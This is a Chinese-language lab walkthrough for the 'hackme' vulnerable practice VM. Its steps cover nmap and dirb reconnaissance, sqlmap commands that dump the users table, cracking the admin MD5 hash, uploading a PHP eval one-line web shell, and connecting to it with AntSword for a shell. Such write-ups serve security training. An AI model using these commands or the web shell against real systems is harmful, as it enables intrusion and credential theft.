文件解析漏洞靶機---- 練習通關攻略

1.安裝靶機

點擊? hackme.ova? ?文件,直接導入虛擬機,選擇存儲位置

2. 開啟靶機

3. kali掃描同C段的ip,找到靶機ip

nmap? 192.168.182.1/24

經判斷,靶機ip為:192.168.182.157

開啟端口 http 80? 、ssh 遠程連接 22?

4.? 瀏覽器訪問ip

顯示一個登錄界面,有輸入框,可能存在SQL注入? ? 存在注冊連接,后面可能會有用

5. kali的dirb掃描敏感目錄:dirb "http://ip"

6.訪問? index.php? ?和? /uploads/? 兩個網址

?index.php訪問仍是登錄界面

http://192.168.182.157/uploads/? ?發現上傳文件的目錄,無上傳位置,暫時沒思路操作

7. 返回登錄界面http://ip,注冊一個用戶,進行登錄

登錄成功,出現搜索框,嘗試sql注入

8.? 尋找注入

直接點擊search,發現彈出多個書籍信息,選一個作為值進行注入判斷過程

9.? 使用OSINT,使用BurpSuite抓包,保存數據包為txt文件

10. kali使用sqlmap工具爆破

爆破數據庫輸入:sqlmap -r '/home/kali/Desktop/test.txt' --dbs?

發現一個數據庫: webapphacking

爆破數據表:sqlmap -r '/home/kali/Desktop/test.txt' -D webapphacking --tables

發現users表

?爆破表數據:sqlmap -r '/home/kali/Desktop/test.txt' -D webapphacking -T users --dump

發現superadmin用戶,密碼:2386acb2cf356944177746fc92523983

32位,采用hash加密,嘗試md5解碼

md5解碼網址:MD5免費在線解密破解_MD5在線加密-SOMD5

密碼:Uncrackable

11.使用superadmin用戶登錄

退出賬號后,再重新登錄

出現上傳界面,結合之前的/uploads/可查看上傳文件的目錄,嘗試上傳木馬文件

12. 上傳一句話木馬文件進行嘗試

<?php @eval($_POST['cmd']);?>

?發現一句話木馬直接上傳成功

13.訪問/uploads/頁面,訪問該木馬文件

輸入:http://192.168.182.157/uploads/

點擊文件test1.php,進行訪問? ? 訪問成功

14. 蟻劍嘗試連接

連接成功,獲取了shell

?

hackme文件解析漏洞靶機,此次練習僅做到獲取shell。

練習到此結束,希望對各位有所幫助吧。僅供參考,有所不足請大家多見諒。

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ---------------2025/3/13? 23;45

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/897735.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/897735.shtml
英文地址,請注明出處:http://en.pswp.cn/news/897735.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

信號處理抽取多項濾波的數學推導與仿真

昨天的《信號處理之插值、抽取與多項濾波》&#xff0c;已經介紹了插值抽取的多項濾率&#xff0c;今天詳細介紹多項濾波的數學推導&#xff0c;并附上實戰仿真代碼。 一、數學變換推導 1. 多相分解的核心思想 將FIR濾波器的系數 h ( n ) h(n) h(n)按相位分組&#xff0c;每…

【大模型基礎_毛玉仁】2.3 基于 Encoder-only 架構的大語言模型

更多內容&#xff1a;XiaoJ的知識星球 目錄 2.3 基于Encoder-only 架構的大語言模型2.3.1 Encoder-only 架構2.3.2 BERT 語言模型1&#xff09;BERT 模型結構2&#xff09;BERT 預訓練方式3&#xff09;BERT 下游任務 2.3.3 BERT 衍生語言模型1&#xff09;RoBERTa 語言模型2&a…

AIP-165 按條件刪除

編號165原文鏈接https://google.aip.dev/165狀態批準創建日期2019-12-18更新日期2019-12-18 有時API需要提供一種機制&#xff0c;按照一些過濾參數刪除大量資源&#xff0c;而非提供待刪除的各資源名字。 這是一個稀有的場景&#xff0c;用于用戶一次性刪除數千或更多資源的…

【Maven教程與實戰案例】

文章目錄 前言一、Maven是什么&#xff1f;二、Maven的安裝與配置1. 安裝前置條件2. 下載與配置 Maven3. 驗證安裝 三、Maven的核心概念1. POM.xml 文件2. 構建生命周期與插件機制 四、實戰項目示例1. 項目目錄結構2. 編寫代碼App.javaAppTest.java 3. 構建項目4. 運行項目 前言…

20250310:OpenCV mat對象與base64互轉

代碼: https://github.com/ReneNyffenegger/cpp-base64 指南:https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp/ 實操:

概率論的基本知識

逆概率還不懂&#xff0c;改天再想想。 聯合概率 聯合概率&#xff08;Joint Probability&#xff09; 是概率論中的一個重要概念&#xff0c;用于描述多個隨機變量同時取某些值的概率。聯合概率可以幫助我們理解多個變量之間的關系。

pytest數據庫測試文章推薦

參考鏈接&#xff1a; 第一部分&#xff1a;http://alextechrants.blogspot.fi/2013/08/unit-testing-sqlalchemy-apps.html第二部分&#xff1a;http://alextechrants.blogspot.fi/2014/01/unit-testing-sqlalchemy-apps-part-2.html

如何自己做奶茶,從此告別奶茶店

自制大白兔奶茶&#xff0c;奶香與茶香激情碰撞&#xff0c;每一口都是香濃與甜蜜的雙重誘惑&#xff0c;好喝到跺腳&#xff01;絲滑口感在舌尖舞動&#xff0c;仿佛味蕾在開派對。 簡單幾步就能復刻&#xff0c;成本超低&#xff0c;輕松在家享受奶茶自由。 材料:大白兔奶糖&…

SOA(面向服務架構)與微服務架構的區別與聯系

SOA&#xff08;面向服務架構&#xff09;與微服務架構的區別與聯系 1. 引言 在現代軟件架構中&#xff0c;SOA&#xff08;Service-Oriented Architecture&#xff0c;面向服務架構&#xff09;和微服務架構&#xff08;Microservices Architecture&#xff09;是兩種常見的…

LLM的準確率評估采用什么方式:準確率評估使用的是 `sklearn.metrics` 模塊中的 `accuracy_score` 函數

LLM的準確率評估采用什么方式:準確率評估使用的是 sklearn.metrics 模塊中的 accuracy_score 函數 評估方式 代碼里的準確率評估是基于每個樣本最后一個預測的 token 與真實的 token 進行對比。具體來說,它會遍歷測試數據集中的每個樣本,使用模型預測出最后一個 token 的 …

文件和異常

從文件中讀取數據 讀取整個文件 讀取整個文件 要讀取文件&#xff0c;需要一個包含幾行文本的文件。下面首先創建一個文件&#xff0c;它包含精確 到小數點后30位的圓周率值&#xff0c;且在小數點后每10位處換行&#xff1a; pi_digits.txt 3.14159265358979323846264338…

2025最新版Windows通過GoLand遠程連接Linux構建Go項目保姆級教學

以Ubuntu24.04和GoLand2024.1.6為例子&#xff0c;演示如何在Windows上通過GoLand遠程連接Linux進行Go編程。 通過go version指令可以發現當前Ubuntu系統沒有安裝go。 go version 通過指令安裝go&#xff0c;其他系統可以通過wget安裝&#xff0c;要指定安裝的具體go版本&…

Spring Boot 集成 Lua 腳本:實現高效業務邏輯處理

1. 前言 1.1 什么是Lua Lua是一種輕量級、高性能的腳本語言,常用于游戲開發、嵌入式系統、配置文件解析等領域。Lua語法簡潔,易于學習和使用,且具有強大的擴展性。 1.2 Spring Boot與Lua集成的意義 將Lua集成到Spring Boot應用中,可以實現動態配置業務邏輯、簡化復雜業…

Linux筆記---文件系統硬件部分

1. 文件系統 文件系統是操作系統用于明確存儲設備&#xff08;常見的是磁盤&#xff0c;也有基于NAND Flash的固態硬盤&#xff09;或分區上的文件的方法和數據結構&#xff0c;即在存儲設備上組織文件的方法。 1.1 基本組成 索引節點&#xff08;inode&#xff09;&#xff…

12.31[net]review

復用&#xff08;Multiplexing&#xff09;的概念 定義&#xff1a;在傳輸層&#xff0c;復用是指多個應用進程可以使用同一個傳輸層協議&#xff08;如 TCP 或 UDP&#xff09;來發送數據。從應用層的角度看&#xff0c;不同的應用進程&#xff08;如網頁瀏覽器、郵件客戶端等…

網絡安全防護架構有哪些 網絡安全防護措施包括

網絡安全預防措施 網安措施 計算機網絡安全措施主要包括保護網絡安全、保護應用服務安全和保護系統安全三個方面&#xff0c;各個方面都要結合考慮安全防護的物理安全、防火墻、信息安全、Web安全、媒體安全等等。 (一)保護網絡安全。 網絡安全是為保護商務各方網絡端系統之…

物理筆記 | 拓撲相變的物理圖像

1. 一般相變 對于一般的相變是朗道理論預言的由對稱性自發破缺導致的。 比如在一維橫場Ising模型中的量子相變 H ? J ∑ j σ j z σ j 1 z ? h ∑ j σ j x H -J \sum_{j} \sigma_j^z \sigma_{j1}^z - h \sum_{j} \sigma_j^x H?Jj∑?σjz?σj1z??hj∑?σjx? 其相…

紅黑樹介紹

1 問題引入 為什么有AVL樹&#xff0c;還要引入紅黑樹&#xff1f; 在進行多次的插入和刪除時&#xff1a; 1&#xff09;AVL樹會存在大量的旋轉操作&#xff0c;追求的是嚴格平衡&#xff1b; 2&#xff09;紅黑樹通過為節點增加顏色來換取增刪節點時旋轉次數…

Java基礎:枚舉類enum入門案例

1.基礎枚舉定義與使用&#xff1a; package com.zxy;public class Main {public static void main(String[] args) { // 獲取枚舉值cars car cars.BMW;switch (car){case BMW :System.out.println("BMW");break;case BENZ :System.out.println("BENZ&…

torch numpy sort排序出現索引順序不正常

問題 torch 調用numpy ,numpy 的sort排序值的順序沒發現問題&#xff0c;但是排序的索引argsort()是有明顯問題。 方案 多一次取索引 arr.argsort().argsort()參考&#xff1a; https://blog.csdn.net/qq_50571974/article/details/123173118